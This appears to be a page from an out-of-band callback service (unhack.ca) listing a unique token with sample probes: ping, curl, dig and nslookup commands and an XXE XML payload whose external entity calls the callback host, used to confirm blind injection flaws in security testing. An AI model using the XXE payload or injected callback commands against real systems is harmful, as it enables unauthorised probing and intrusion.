$ ping -c1 -p 00064062e8e26b5b3acc046dec600400 unhack.ca
 
$ curl http://unhack.ca/p/064062e8e26b5b3acc046dec6004
 
$ dig 064062e8e26b5b3acc046dec6004 @unhack.ca
 
$ dig 064062e8e26b5b3acc046dec6004.ns.unhack.ca
 
C:\> nslookup 064062e8e26b5b3acc046dec6004 unhack.ca
 
<?xml version="1.0" encoding="ISO-8859-1"?>
    <!DOCTYPE foo [<!ELEMENT foo ANY>
    <!ENTITY xxe SYSTEM "http://unhack.ca/p/064062e8e26b5b3acc046dec6004">]>
    <foo>&xxe;</foo>
Waiting for ping...